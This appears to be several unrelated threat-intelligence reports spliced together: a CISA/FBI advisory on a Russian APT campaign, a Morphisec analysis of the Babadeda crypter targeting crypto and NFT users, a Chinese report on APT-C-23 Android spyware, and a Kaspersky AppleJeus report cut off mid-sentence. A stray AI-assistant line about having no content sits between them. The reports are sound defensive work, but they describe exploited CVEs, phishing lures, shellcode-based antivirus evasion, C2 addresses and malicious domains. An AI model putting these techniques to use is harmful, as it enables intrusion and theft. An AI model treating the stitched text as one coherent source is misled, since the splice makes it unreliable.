# Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets ## Summary This joint cybersecurity advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. This advisory—written by the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA)—provides information on Russian state-sponsored advanced persistent threat (APT) actor activity targeting various U.S. state, local, territorial, and tribal (SLTT) government networks, as well as aviation networks. This advisory updates joint CISA-FBI cybersecurity advisory AA20-283A: APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations. Since at least September 2020, a Russian state-sponsored APT actor—known variously as Berserk Bear, Energetic Bear, TeamSpy, Dragonfly, Havex, Crouching Yeti, and Koala in open-source reporting—has conducted a campaign against a wide variety of U.S. targets. The Russian state-sponsored APT actor has targeted dozens of SLTT government and aviation networks, attempted intrusions at several SLTT organizations, successfully compromised network infrastructure, and as of October 1, 2020, exfiltrated data from at least two victim servers. The Russian-sponsored APT actor is obtaining user and administrator credentials to establish initial access, enable lateral movement once inside the network, and locate high-value assets in order to exfiltrate data. In at least one compromise, the APT actor laterally traversed an SLTT victim network and accessed documents related to: - Sensitive network configurations and passwords. - Standard operating procedures (SOP), such as enrolling in multi-factor authentication (MFA). - IT instructions, such as requesting password resets. - Vendors and purchasing information. - Printing access badges. To date, the FBI and CISA have no information to indicate this APT actor has intentionally disrupted any aviation, education, elections, or government operations. However, the actor may be seeking access to obtain future disruption options, to influence U.S. policies and actions, or to delegitimize SLTT government entities. As this recent malicious activity has been directed at SLTT government networks, there may be some risk to elections information housed on SLTT government networks. However, the FBI and CISA have no evidence to date that the integrity of elections data has been compromised. Due to the heightened awareness surrounding elections infrastructure and the targeting of SLTT government networks, the FBI and CISA will continue to monitor this activity and its proximity to elections infrastructure. ## Technical Details The FBI and CISA have observed Russian state-sponsored APT actor activity targeting U.S. SLTT government networks, as well as aviation networks. The APT actor is using Turkish IP addresses 213.74.101[.]65, 213.74.139[.]196, and 212.252.30[.]170 to connect to victim web servers (Exploit Public Facing Application [T1190]). The actor is using 213.74.101[.]65 and 213.74.139[.]196 to attempt brute force logins and, in several instances, attempted Structured Query Language (SQL) injections on victim websites (Brute Force [T1110]; Exploit Public Facing Application [T1190]). The APT actor also hosted malicious domains, including possible aviation sector target columbusairports.microsoftonline[.]host, which resolved to 108.177.235[.]92 and [cityname].westus2.cloudapp.azure.com; these domains are U.S. registered and are likely SLTT government targets (Drive-By Compromise [T1189]). The APT actor scanned for vulnerable Citrix and Microsoft Exchange services and identified vulnerable systems, likely for future exploitation. This actor continues to exploit a Citrix Directory Traversal Bug (CVE-2019-19781) and a Microsoft Exchange remote code execution flaw (CVE-2020-0688). The APT actor has been observed using Cisco AnyConnect Secure Socket Layer (SSL) virtual private network (VPN) connections to enable remote logins on at least one victim network, possibly enabled by an Exim Simple Mail Transfer Protocol (SMTP) vulnerability (CVE 2019-10149) (External Remote Services [T1133]). More recently, the APT actor enumerated and exploited a Fortinet VPN vulnerability (CVE-2018-13379) for Initial Access [TA0001] and a Windows Netlogon vulnerability (CVE-2020-1472) to obtain access to Windows Active Directory (AD) servers for Privilege Escalation [TA0004] within the network (Valid Accounts [T1078]). These vulnerabilities can also be leveraged to compromise other devices on the network (Lateral Movement [TA0008]) and to maintain Persistence [TA0003]). Between early February and mid-September, these APT actors used 213.74.101[.]65, 212.252.30[.]170, 5.196.167[.]184, 37.139.7[.]16, 149.56.20[.]55, 91.227.68[.]97, and 5.45.119[.]124 to target U.S. SLTT government networks. Successful authentications—including the compromise of Microsoft Office 365 (O365) accounts—have been observed on at least one victim network (Valid Accounts [T1078]). ## Mitigations ### Indicators of Compromise The APT actor used the following IP addresses and domains to carry out its objectives: - 213.74.101[.]65 - 213.74.139[.]196 - 212.252.30[.]170 - 5.196.167[.]184 - 37.139.7[.]16 - 149.56.20[.]55 - 91.227.68[.]97 - 138.201.186[.]43 - 5.45.119[.]124 - 193.37.212[.]43 - 146.0.77[.]60 - 51.159.28[.]101 - columbusairports.microsoftonline[.]host - microsoftonline[.]host - email.microsoftonline[.]services - microsoftonline[.]services - cityname[.]westus2.cloudapp.azure.com IP address 51.159.28[.]101 appears to have been configured to receive stolen Windows New Technology Local Area Network Manager (NTLM) credentials. FBI and CISA recommend organizations take defensive actions to mitigate the risk of leaking NTLM credentials; specifically, organizations should disable NTLM or restrict outgoing NTLM. Organizations should consider blocking IP address 51.159.28[.]101 (although this action alone may not mitigate the threat, as the APT actor has likely established, or will establish, additional infrastructure points). Organizations should check available logs for traffic to/from IP address 51.159.28[.]101 for indications of credential-harvesting activity. As the APT actors likely have—or will—establish additional infrastructure points, organizations should also monitor for Server Message Block (SMB) or WebDAV activity leaving the network to other IP addresses. ### Network Defense-in-Depth Proper network defense-in-depth and adherence to information security best practices can assist in mitigating the threat and reducing the risk to critical infrastructure. The following guidance may assist organizations in developing network defense procedures: - Keep all applications updated according to vendor recommendations, and especially prioritize updates for external facing applications and remote access services to address CVE-2019-19781, CVE-2020-0688, CVE 2019-10149, CVE-2018-13379, and CVE-2020-1472. #### Table 1: Patch information for CVEs | Vulnerability | Vulnerable Products | Patch Information | |---------------|---------------------|-------------------| | CVE-2019-19781 | Citrix Application Delivery Controller, Citrix Gateway, Citrix SDWAN WANOP | Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0, security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3, firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0, firmware updates for Citrix ADC and Citrix Gateway version 10.5 | | CVE-2020-0688 | Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30, Microsoft Exchange Server 2013 Cumulative Update 23, Microsoft Exchange Server 2016 Cumulative Update 14, Microsoft Exchange Server 2016 Cumulative Update 15, Microsoft Exchange Server 2019 Cumulative Update 3, Microsoft Exchange Server 2019 Cumulative Update 4 | Microsoft Security Advisory for CVE-2020-0688 | | CVE-2019-10149 | Exim versions 4.87–4.91 | Exim page for CVE-2019-10149 | | CVE-2018-13379 | FortiOS 6.0: 6.0.0 to 6.0.4, FortiOS 5.6: 5.6.3 to 5.6.7, FortiOS 5.4: 5.4.6 to 5.4.12 | Fortinet Security Advisory: FG-IR-18-384 | | CVE-2020-1472 | Windows Server 2008 R2 for x64-based Systems Service Pack 1, Windows Server 2012, Windows Server 2012 R2, Windows Server 2016, Windows Server 2019, Windows Server version 1903, Windows Server version 1909, Windows Server version 2004 | Microsoft Security Advisory for CVE-2020-1472 | - Follow Microsoft’s guidance on monitoring logs for activity related to the Netlogon vulnerability, CVE-2020-1472. - If appropriate for your organization’s network, prevent external communication of all versions of SMB and related protocols at the network boundary by blocking Transmission Control Protocol (TCP) ports 139 and 445 and User Datagram Protocol (UDP) port 137. - Implement the prevention, detection, and mitigation strategies outlined in: - CISA Alert TA15-314A – Compromised Web Servers and Web Shells – Threat Awareness and Guidance. - National Security Agency Cybersecurity Information Sheet U/OO/134094-20 – Detect and Prevent Web Shells Malware. - Isolate external facing services in a network demilitarized zone (DMZ) since they are more exposed to malicious activity; enable robust logging, and monitor the logs for signs of compromise. - Establish a training mechanism to inform end users on proper email and web usage, highlighting current information and analysis and including common indicators of phishing. End users should have clear instructions on how to report unusual or suspicious emails. - Implement application controls to only allow execution from specified application directories. System administrators may implement this through Microsoft Software Restriction Policy, AppLocker, or similar software. Safe defaults allow applications to run from PROGRAMFILES, PROGRAMFILES(X86), and WINDOWS folders. All other locations should be disallowed unless an exception is granted. - Block Remote Desktop Protocol (RDP) connections originating from untrusted external addresses unless an exception exists; routinely review exceptions on a regular basis for validity. ### Comprehensive Account Resets For accounts where NTLM password hashes or Kerberos tickets may have been compromised (e.g., through CVE-2020-1472), a double-password-reset may be required in order to prevent continued exploitation of those accounts. For domain-admin-level credentials, a reset of KRB-TGT “Golden Tickets” may be required, and Microsoft has released specialized guidance for this. Such a reset should be performed very carefully if needed. If there is an observation of CVE-2020-1472 Netlogon activity or other indications of valid credential abuse, it should be assumed the APT actors have compromised AD administrative accounts. In such cases, the AD forest should not be fully trusted, and, therefore, a new forest should be deployed. Existing hosts from the old compromised forest cannot be migrated in without being rebuilt and rejoined to the new domain, but migration may be done through “creative destruction,” wherein, as endpoints in the legacy forest are decommissioned, new ones can be built in the new forest. This will need to be completed in on-premise—as well as in Azure-hosted—AD instances. Note that fully resetting an AD forest is difficult and complex; it is best done with the assistance of personnel who have successfully completed the task previously. It is critical to perform a full password reset on all user and computer accounts in the AD forest. Use the following steps as a guide: 1. Create a temporary administrator account, and use this account only for all administrative actions. 2. Reset the Kerberos Ticket Granting Ticket (krbtgt) password; this must be completed before any additional actions (a second reset will take place in step 5). 3. Wait for the krbtgt reset to propagate to all domain controllers (time may vary). 4. Reset all account passwords (passwords should be 15 characters or more and randomly assigned): - User accounts (forced reset with no legacy password reuse). - Local accounts on hosts (including local accounts not covered by Local Administrator Password Solution [LAPS]). - Service accounts. - Directory Services Restore Mode (DSRM) account. - Domain Controller machine account. - Application passwords. 5. Reset the krbtgt password again. 6. Wait for the krbtgt reset to propagate to all domain controllers (time may vary). 7. Reboot domain controllers. 8. Reboot all endpoints. The following accounts should be reset: - AD Kerberos Authentication Master (2x) - All Active Directory Accounts - All Active Directory Admin Accounts - All Active Directory Service Accounts - All Active Directory User Accounts - DSRM Account on Domain Controllers - Non-AD Privileged Application Accounts - Non-AD Unprivileged Application Accounts - Non-Windows Privileged Accounts - Non-Windows User Accounts - Windows Computer Accounts - Windows Local Admin ### VPN Vulnerabilities Implement the following recommendations to secure your organization’s VPNs: - Update VPNs, network infrastructure devices, and devices being used to remote into work environments with the latest software patches and security configurations. See CISA Tips Understanding Patches and Software Updates and Securing Network Infrastructure Devices. Wherever possible, enable automatic updates. - Implement MFA on all VPN connections to increase security. Physical security tokens are the most secure form of MFA, followed by authenticator app-based MFA. SMS and email-based MFA should only be used when no other forms are available. If MFA is not implemented, require teleworkers to use strong passwords. - Discontinue unused VPN servers. Reduce your organization’s attack surface by discontinuing unused VPN servers, which may act as a point of entry for attackers. To protect your organization against VPN vulnerabilities: - Audit configuration and patch management programs. - Monitor network traffic for unexpected and unapproved protocols, especially outbound to the Internet (e.g., Secure Shell [SSH], SMB, RDP). - Implement MFA, especially for privileged accounts. - Use separate administrative accounts on separate administration workstations. - Keep software up to date. Enable automatic updates, if available. ## Contact Information To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected].
# Babadeda Crypter Targeting Crypto, NFT, and DeFi Communities Posted by Hido Cohen & Arnold Osipov on November 23, 2021 The cryptocurrency market is now worth more than $2.5 trillion. Unfortunately, this fact is not lost on threat actors. As well as using cryptocurrency themselves to extract ransoms, cybercriminals are now also tailoring malware to exploit the booming market for NFTs and crypto games. In a discovery of critical importance to anyone familiar with this space, Morphisec Labs has encountered a new campaign of malware targeting cryptocurrency enthusiasts through Discord. Crucially, the crypter that this campaign deploys, which we have termed Babadeda (a Russian language placeholder used by the crypter itself which translates to “Grandma-Grandpa”), is able to bypass signature-based antivirus solutions. Although some variants of this crypter have been noted by other vendors, Morphisec is the first to fully disclose how it works. For victims, this makes infections highly likely — and dangerous. We know that this malware installer has been used in a variety of recent campaigns to deliver information stealers, RATs, and even LockBit ransomware. Fortunately, however, even as the threat level for cryptocurrency users rises, we also know that Morphisec’s Moving Target Defense technology is capable of both seeing and stopping Babadeda. In this blog post, we will explore how Babadeda is being delivered, what an in-depth technical analysis of this malware tells us about it, and how it can be stopped. ## Crypto and NFT Communities Are Prime Targets Since May 2021, we have observed several malware distribution campaigns. However, many of the recent infections we have seen appear to be related to a sophisticated campaign that exclusively targets the Crypto, NFT, and DeFi communities. It is precisely for this reason, as well as the fact that NFTs are rising in popularity, that we have decided to take a look at this particular campaign distribution in more detail. For those who are not familiar with NFTs (Non-fungible token): the term refers to unique tokens that provide proof of ownership on data that is stored on the blockchain technology. In recent years, NFTs have exploded in popularity and are now starting to enter the mainstream consciousness. Naturally, this growing trend in the crypto space has opened up a new vector for threat actors to exploit. ## The Delivery Chain The vast majority of today's NFT and crypto communities are based on Discord (a group chatting platform) channels. Discord channels are publicly accessible and allow users to send private messages to one another within a channel. In the campaign that we observed, a threat actor took advantage of these features in order to phish victims. The threat actor sent users a private message inviting them to download a related application that would supposedly grant the user access to new features and/or additional benefits. Because the actor created a Discord bot account on the official company Discord channel, they were able to successfully impersonate the channel’s official account. Below is an example of a phishing message that targeted users of “Mines of Dalarna”, a PC game built on the blockchain. If a user clicks on the URL within the message, it will direct them to a decoy site. There, the user will be encouraged to download a malicious installer that embeds the Crypter with the payload. As you can see from the example above, the threat actor took extended measures to ensure that the delivery chain looks legitimate even to technical users. Typically: - **Cybersquatting** - the domain names of the decoy sites look a lot like the domain names of the original sites. Threat actors will usually remove/add a letter from/to the domain name or change the top-level domain. - The domains are signed with a certificate (via LetsEncrypt), which enables an HTTPS connection. - The UI of the decoy pages is very similar to the UI of the original pages. - Upon clicking “Download APP”, the site will generally navigate to /downland.php, which will redirect the download request to a different domain (this makes it less likely that someone will detect a decoy site). Interestingly, on one of these decoy sites, we noticed an HTML object written in Russian. This suggests that the threat actor's origins may be in a Russian-speaking country since they most likely forgot to translate the HTML object from their native language into English. ### Decoy Site Examples The following table shows a few examples of the decoy sites used in the campaigns we have observed. | Original Domain | Decoy Domain | Description | IP Resolved | Installer Name | |-------------------------------|--------------------------------|-------------------|-----------------------|-------------------------| | opensea.io | openseea[.]net | The most popular NFT marketplace | 185.117.2[.]82 | OpenSea-App_v2.1-setup.exe | | larvalabs.com | larvaslab[.]com | The creators of CryptoPunks - The most popular PFP NFTs | 185.117.2[.]81 | LarvaLabs-App_v2.1.1-setup.exe | | boredapeyachtclub.com | boredpeyachtclub[.]com | BAYC - one of the most popular PFP NFTs | 185.117.2[.]4 | BAYC-App-v2.1-release.exe | We have identified at least 82 domains created between July 24, 2021, and November 17, 2021. ## The Payloads The following table tracks the RATs used by this specific campaign’s threat actor: | Dates Observed | RAT | C2 | |----------------------------------|-------------|-----------------------| | 11 Nov 2021 - 22 Nov 2021 | Remcos | 65.21.127.164[:]4449 | | 14 Oct 2021 - 22 Oct 2021 | BitRAT | 135.181.6.215[:]7777 | | 09 Sep 2021 - 14 Oct 2021 | BitRAT | 135.181.140.153[:]7777 | | 24 Aug 2021 - 07 Sep 2021 | BitRAT | 135.181.140.182[:]7777 | ## Technical Analysis of the Babadeda Crypter During our research, we found different variants of the same Crypter — all of which contain the same main execution flow. While investigating the Crypter, we saw how important it was for the threat actor to hide its malicious intentions inside legitimate applications in order to avoid detection. Once downloaded and executed, the malicious installer copies its compressed files into a newly created folder with a legitimate-looking name (i.e., IIS Application Health Monitor) in one of the following directory paths: - C:\Users\<user>\AppData\Roaming\ - C:\Users\<user>\AppData\Local\ The malicious files are copied along with many other open-source or free application-related files. At first glance, the files within the directory may seem legitimate. However, looking at these files carefully it becomes apparent that some of them are suspicious and should be inspected. After dropping the mentioned files, the Installer starts execution via the main executable. We have noticed that at this point, some variants display a fake error message that stops the execution until the user interacts with the message. This fake message might be used as a security solutions evasion technique. Alternatively, its role may be to deceive the user into thinking that the application has failed to execute, even as it silently continues the malicious execution in the background. The threat actor generally embeds the next stages of the execution inside an additional file, usually an XML or a PDF file. Nonetheless, we have also observed additional file types such as JavaScript, Text, and PNG. The malicious logic starts by reading the additional file (in this case an XML file) and calling kernel32!Sleep for 35 seconds (the duration changes between variants). Next, it loads this entire file to memory and starts its parsing task. The first piece that is parsed from the file is a shellcode located in a pre-calculated offset and overwrites the executable at a specific offset. The executable .text section’s characteristics are configured to RWE (Read-Write-Execute) -- that way the actor doesn't need to use VirtualAlloc or VirtualProtect in order to copy the shellcode and transfer the execution. This helps with evasion since those functions are highly monitored by security solutions. Once the shellcode is copied to the executable, the DLL calls to the shellcode’s entry point. If the crypter is configured to install persistence, the loader DLL will execute a new thread that loads another DLL (from the compressed files) that will handle this task. The Decryption Shellcode has three main tasks: first, it extracts the Loader shellcode and the payload, then it decrypts them, and finally, it transfers the execution to the decrypted Loader shellcode. The Loader shellcode's purpose is to inject the decrypted payload within the currently running process (itself). We can divide the loading mechanism into three stages: initialization, injection, and correction. ### Conclusion As demonstrated above, Babadeda is a highly dangerous crypter. Targeting cryptocurrency users through trusted attack vectors gives its distributors a fast-growing selection of potential victims. Once on a victim's machine, masquerading as a known application with a complex obfuscation also means that anyone relying on signature-based malware effectively has no way of knowing Babadeda is on their machine — or of stopping it from executing. Mitigating the threat posed by Babadeda requires securing the device memory it targets. Morphisec does this through Moving Target Defence, a technology that morphs process memory trapping crypters like Babadeda before they are able to deploy. ## IOCs The sample used in the blog post: | File | SHA256 | |------------------|------------------------------------------| | Installer | 99e6b46a1eba6fd60b9568622a2a27b4ae1ac02e55ab8b13709f38455345aaff | | difserver.exe | 358211210e0bb34dd77073bb0de64bb80723f3434594caf1a95d0ed164ee87a1 | | libfont-0.6.dll | ce3758d494132e7bef7ea87bb8379bb9f4b0c82768d65881139e1ec1838f236c | | libxml3.dll | 0ceead2afcdee2a35dfa14e2054806231325dd291f9aa714af44a0495b677efc | | menu.xml | 080340cb4ced8a16cad2131dc2ac89e1516d0ebe5507d91b3e8fb341bfcfe7d8 | ### YARA Rule ```yara rule BABADEDA_Crypter { meta: description = "Detects BABADEDA Crypter" author = "Morphisec labs" strings: $entry_shellcode = {55 8B EC 83 EC 58 53 E8 F8 03 00 00 89 45 FC 8B 45 FC 83 C0 11 89 45 CC 8B 45 FC 8B 40 09 8B 4D CC 8D 04} $placeholder_1 = {8138DADEBABA} $placeholder_2 = {8138AFBEADDE} condition: $entry_shellcode and all of ($placeholder_*) } ``` ### Decoy Domains - aave-v3[.]com - abracodabra[.]net - alchemixfi[.]com - apeswaps[.]net - app.sushi-v3[.]com - arbitrums[.]com - artblocks[.]us - astar-network[.]com - avalanche-network[.]com - avax-bridge[.]com - avax-bridge[.]net - avax-network[.]net - avax.wallet-bridge[.]net - avax.wallet-network[.]net - avax.wallet-network[.]org - babydogescoin[.]com - boredpeyachtclub[.]com - bridge-avax[.]com - bridge-avax[.]net - bridge-avax[.]us - c-nft[.]net - casper-network[.]com - compoundfinance[.]net - cryptoblade[.]net - decentralands[.]net - diviprojects[.]com - dydxexchange[.]net - galagamesapp[.]com - hedera[.]run - illuviums[.]com - keep-network[.]net - klimadao[.]net - larva-labs[.]net - larvaslab[.]com - looprings[.]net - luckybuddhaluckyclub[.]com - mangomarkets[.]net - mineofdalarnia[.]net - monstasinfinite[.]net - moonebeam[.]com - near-protocol[.]com - network-avax[.]net - network-avax[.]org - nft-opensee[.]com - olympusdao[.]fund - openseaio[.]net - openseea[.]net - optinism[.]net - polkadot-network[.]com - projectseeds[.]net - projectsserum[.]net - rareble[.]net - rocketspool[.]net - secretswaps[.]net - sia-tech[.]net - solanarts[.]com - solsoulnft[.]com - sushi-app[.]com - sushi-v3[.]com - sushi-v3app[.]com - terra-money[.]net - thetatokenfund[.]com - wallet-avalanche[.]com - wallet-avalanche[.]net - wallet-avalanche[.]org - wallet-avax[.]com - wallet-avax[.]info - wallet-avax[.]net - wallet-bridge[.]net - wallet-network[.]net - wallet-network[.]org - wallet.bridge-avax[.]us - wallet.network-avax[.]org - wonderlaned[.]com - zed-run[.]net ### Hashes - 0098b2c38a69132bfde02d329d6c1c6e2b529d32d7b775a2ac78a369c0d10853 - 0115ba0f26a7b7ca3748699f782538fa761f7be4845a9dc56a679acea7b76cd3 - 062f019515bff366fcbf49cca3f776c21e2beb81c043a45eea81044a9391fd97 - 112282b873bdbeb5614fc8658934a99d666ba06c4e2840a21cd4458b426a4cad - 120213353ac7bd835086e081fb85dfa4959f11d20466fd05789ded3bff30bb11 - 1252c9103805e02324d2aecb5219e6a071c77b72477eba961621cb09a2138972 - 140d9a4a2ec5507edf7db37dcc58f2176a0e704e8f91c28a60a7f3773e85e1aa - 14da3566bc9f211528c1824330c46789396447c83c3c830bb91490d873025df8 - 18c01e1f6e0185752dbf8c9352d74ade56ac40d25ae701d4a5954b74d0c7aeea - 196ec622eb7d9420b1c04b3856467abeb3ca565d841f34c3c9a628afc10775c8 - 214d6681f5d82d4fa43e7a8676935ef01ddab8d0847eb3018530aedffe7ebb55 - 2e5455e268cf12ebc0213aa5dacb2239358c316dda3ec0f99d0f36074f41fb09 - 2fc8dedf82997894bb31a0eca96ae3c589863ec9bf4d1e2af0a84f2e9c3ef301 - 3270599801099d3b5399eb898f79d7b7ec0d728c71d5177244b8110757365ade - 39b4dc69dd29011135732a881152f99dc19310cb906b7255a3e9ef367258094d - 3c844e66f0dafdced0861a8e2ff54fd762ba170bf5082fb2c38cdbbac5a7fecb - 3e52c251dc8683e0f374bcbea27b4b700c05dc39db13336859acbbd32590fe7c - 3e6a29c04270a4b62375946fdb4c392a1c9b3f64ef391f85bdd67cb78426889f - 44e00bef4b6d3f03a845208b925c129a5fe1b9ef6ed8cd27144c5e94176aaa6e - 462f7543326630d209b6433936f0c54f8920d6b5505e88d802ee060320ea8106 - 4e6eed44594054ea42f9860c1e53744649a319788e2cb7f1f624e435cbdec43d - 54391ff27b632a36430889dda51cfa46b694badcae2f0ce952065642c94d89df - 6342d9c9e087945651b11cec4903f083a20d31182e0be5b2b6030df0a980ff68 - 65363debbbb9a691838e823c34807a9770db30c2af616c5574231af2b16d6aef - 6e4d56a438062210ba8ca68dee690c1692960ff36936c96586f74ee194e1c821 - 6f247a74aa62fea0577da869fda841170ce6f1fe0e1b9f3b0d8172d336bb7dc6 - 71d0c5b5916cc5f91370f42fbfd249795e7c40526ae204becdd20fe453b53e8d - 72df0397893e1ac981063fbcc0ad048543ba7143ba824f2bb0aa5dfb61538ce6 - 7c8242812137aad072fe1cb78d49d01187b869d43ebcfcd87eb590c1bc9f1246 - 7e827e1981d2ccaec16a5b646976b0d492d555a20b9ba5dd4ba0d605dfcab2f7 - 86b1cf4e6952db195842809ffd7e88e5fdaca8b2b2c0005e995d34cbe9d157ad - 8b9120fc400510de52fb5c6689f403e5c0aaba3ff58e2ee114286c2cf09615b5 - 8ce8c448b5958da3c59874594de428b783116d8c1cf440ab804633799d88af8e - 90faf9b85d96a09cb689be3a52669a58df2e9ea53b150a97d05de641e624f634 - 95d226710f37a870a338344afac6350b48c5d70c7ac8518c42f694eb0f6aa7c5 - 9b132e1d883c4f513d4ac3a5735a28a1917cfde837ee4a4b632a66cce5aa8be2 - a2545370b390e52376d12776152aff9285b9b3fe6610d2f8dd24b11ccb14c5b3 - a2e090192bf0b3b00f5bbef0b81858bc17861fedd82e93f0ab6d60777ca6820e - af0c213a2cfb62e6a9ce788c3860c627e035401b75df7f60eb64d4f4bc196aa2 - b5fe6db30b741f515df94238c8d1a3c51a84fe72f218751c86a254801c3233ee - b6dc8341fd38dacb7a2a38a14a21afbab8e7e3f31f2fd29f0bcd7d4eb83e203c - bcaaab0cd2178acdf025c7f23f10ab01906a99aca5d07e3a7e261928f8f91695 - c21e2be7324afb67f1e5cf9fbc95dc346db2ec62d9d8db7b0da9377a00346f41 - c97893d936b5e1203fb926e7ab612ffd488578e9791f07be4a6eabc83645fb5b - ca70f7b046f5909f0134a1c465fda3794344f45055ba2dfa802623bd326fe5b6 - d360daf106314561e9ec57075dd4f544ad52680678a644e186758650a405b765 - d548c2e3479c6c7a20ffa8a8402aa00c45aaef24102daf5c94c54a8a6013f370 - d76e7a14ab20d3f28de1ecef803d8b1629ed077495db5ec7b7f5828ed33c684e - de644e637da7cd117517b1bb96ee0f58131515013a322366d680f613afa31bc4 - e5f55a5ecd7315c9e028738ced66d42852569dd061e15610a054c2121c9ed4d9 - e99d32952bda84f32425681229ec544849156e479b7247e3e480f3a23a39c915 - f24492ceab91f70c3dd3c5040184dae3bc38804c872ae948ed1ee6906a890b16 - fb04bc486bf7b6574b5b7caf1ed4f1a21e9e7463adf312219f767a58e8fb2be1 - fde7bd78e2085f364e0eb145c77b57b8bfa5bacf6a3e6eaed4b9e3a97c065a80 - fde8ca7c729a25e723a3738a1b5520f29ef2100ba2d9a2739aa30176b039f511 ### Crypter Hashes - amadey stealer - Cryptbot - lockbit - ursnif - smokeloader - fickerstealer - Metasploit Reverse HTTP - quasarrat
It seems there is no content provided for me to clean up and format. Please provide the text you would like me to process, and I'll be happy to assist you!
# 双尾蝎组织(APT-C-23)针对中东地区的最新攻击活动 ## 一、背景 双尾蝎组织(APT-C-23)是一个针对中东地区相关国家的教育机构、军事机构等重要领域进行网络间谍活动,以窃取敏感信息为主的网络攻击组织。攻击平台主要包括Windows与Android。该组织的攻击活动最早可追溯到2016年,近年来该组织活动频繁不断被多个国内外安全团队持续追踪和披露。 2020年2月16日,以色列国防军IDF网站称,他们发现哈马斯的一系列网络攻击行动,通过制作了多个聊天工具相关的钓鱼网站,利用社交媒体伪装成美女诱骗以色列国防军士兵下载安装伪装成聊天工具的间谍软件,从而窃取以色列国防军的隐私信息,并最终认为与APT-C-23组织有关。 近期,360烽火实验室发现了与以色列国防军曝光的双尾蝎组织攻击行动相关的另一起网络攻击活动,该活动中使用的间谍软件伪装成MygramIM应用,并利用钓鱼网站进行传播,根据网站信息,此次攻击活动仍然针对中东地区。 ## 二、载荷投递 ### (一)攻击方式 双尾蝎组织在此次攻击活动中使用的载荷投递方式为钓鱼攻击。此次攻击活动中,双尾蝎组织制作了一个MygramIM应用更新网站,该网站详细介绍了MygramIM应用的相关信息,并且提供了对应的下载功能。 该网站表面上看着制作精美,但仔细观察,会发现大量粗制滥造内容,许多介绍内容完全相同,并且大多数链接无法打开,可见该网站只是双尾蝎组织为此次攻击行动临时制作。 通过对钓鱼网站进行分析,我们发现了一段被注释的测试代码,其中一个链接指向了一个视频文件,该视频文件的内容为伊斯兰世界上著名古兰经阅读者Mashary Rashed阅读古兰经,据此我们推测此次攻击行动的攻击区域为中东地区。 ### (二)伪装对象 此次攻击活动中,双尾蝎组织将攻击样本伪装成了Google Play上的收费应用Mygram IM,钓鱼网站上对应应用的描述与Google Play上的Mygram IM的描述内容没有丝毫差别。 当应用启动后提示用户安装Google Play上的Mygram IM,并隐藏自身图标,在后台运行,如下图所示。 ## 三、功能分析 此次攻击的恶意样本与早期攻击样本类似,包含录音、上传文件/联系人/短信等恶意行为,并且都是通过Google的FCM(Firebase Cloud Messaging)服务和短信下发指令执行恶意功能。其中此次攻击中使用短信下发的指令经过了Base64编码,图7展示的是Base64解码后的指令和功能,图8展示了Firebase Cloud Messaging下发的指令和功能。 ## 四、溯源关联 ### (一)C&C关联 我们发现此次攻击样本证书签名下的其中一个样本的CC(rythergannon.info)出现在公开威胁情报中,并且归属于APT-C-23组织。 ### (二)代码结构 此次攻击样本与早期双尾蝎组织均使用Google的FCM(Firebase Cloud Messaging)服务和短信下发指令执行恶意功能。此前其他安全厂商揭露双尾蝎组织偏爱使用演员名进行命名,此次攻击样本使用FCM下发的指令名称也使用了大量演员名,并且存在大量相似代码结构,下图展示了早期版本和此次最新攻击样本窃取短信的代码。 ## 五、总结 人是网络安全脆弱因素,网络攻防最终还是人的对抗,从双尾蝎攻击以色列国防军到肚脑虫攻击巴基斯坦以及此次双尾蝎针对中东地区的攻击活动,都是利用钓鱼网站伪装成聊天应用发起的网络攻击,攻击成功的关键都在于被攻击者的安全意识。安全的本质是人与人的对抗,相关企业在做好系统防护的同时也需要提升相关人员的安全意识。
# Operation AppleJeus: Lazarus Hits Cryptocurrency Exchange with Fake Installer and macOS Malware **By GReAT on August 23, 2018. 8:00 am** ## Overview Lazarus has been a major threat actor in the APT arena for several years. Alongside goals like cyberespionage and cybersabotage, the attacker has been targeting banks and other financial companies around the globe. Over the last few months, Lazarus has successfully compromised several banks and infiltrated a number of global cryptocurrency exchanges and fintech companies. Kaspersky Lab has been assisting with incident response efforts. While investigating a cryptocurrency exchange attacked by Lazarus, we made an unexpected discovery. The victim had been infected with the help of a trojanized cryptocurrency trading application, which had been recommended to the company over email. It turned out that an unsuspecting employee of the company had willingly downloaded a third-party application from a legitimate-looking website, and their computer had been infected with malware known as Fallchill, an old tool that Lazarus has recently switched back to. There have been multiple reports on the reappearance of Fallchill, including one from US-CERT. To ensure that the OS platform was not an obstacle to infecting targets, it seems the attackers went the extra mile and developed malware for other platforms, including macOS. A version for Linux is apparently coming soon, according to the website. It’s probably the first time we see this APT group using malware for macOS. The fact that the Lazarus group has expanded its list of targeted operating systems should be a wake-up call for users of non-Windows platforms. ## Trojanized Cryptocurrency Trading Application Thanks to Kaspersky Lab’s malicious-behavior detection technology, implemented in its endpoint security software, we were able to reassemble the stages of infection and trace them back to their origin. This helped us understand that one of Lazarus’ victims was infected with malware after installing a cryptocurrency trading program. We also confirmed that the user installed this program via a download link delivered over email. ### Trojanized Trading Application for Windows Including malicious code into distributed software and putting that on a website would be too obvious. Instead, the attackers went for a more elaborate scheme: the trojan code was pushed out in the form of an update for a trading application. A legitimate-looking application called Celas Trade Pro from Celas Limited showed no signs of malicious behavior and looked genuine. This application is an all-in-one style cryptocurrency trading program developed by Celas. When we started this research, any user could download the trading application from the Celas website. Checking the installation package downloaded from the website confirmed the presence of a very suspicious updater. We have analyzed the following Windows version of the installation package: - **MD5:** 9e740241ca2acdc79f30ad2c3f50990a - **File name:** celastradepro_win_installer_1.00.00.msi - **File type:** MSI installer - **Creation time:** 2018-06-29 01:16:00 UTC At the end of the installation process, the installer immediately runs the Updater.exe module with the “CheckUpdate” parameter. This file looks like a regular tool and most likely will not arouse the suspicion of 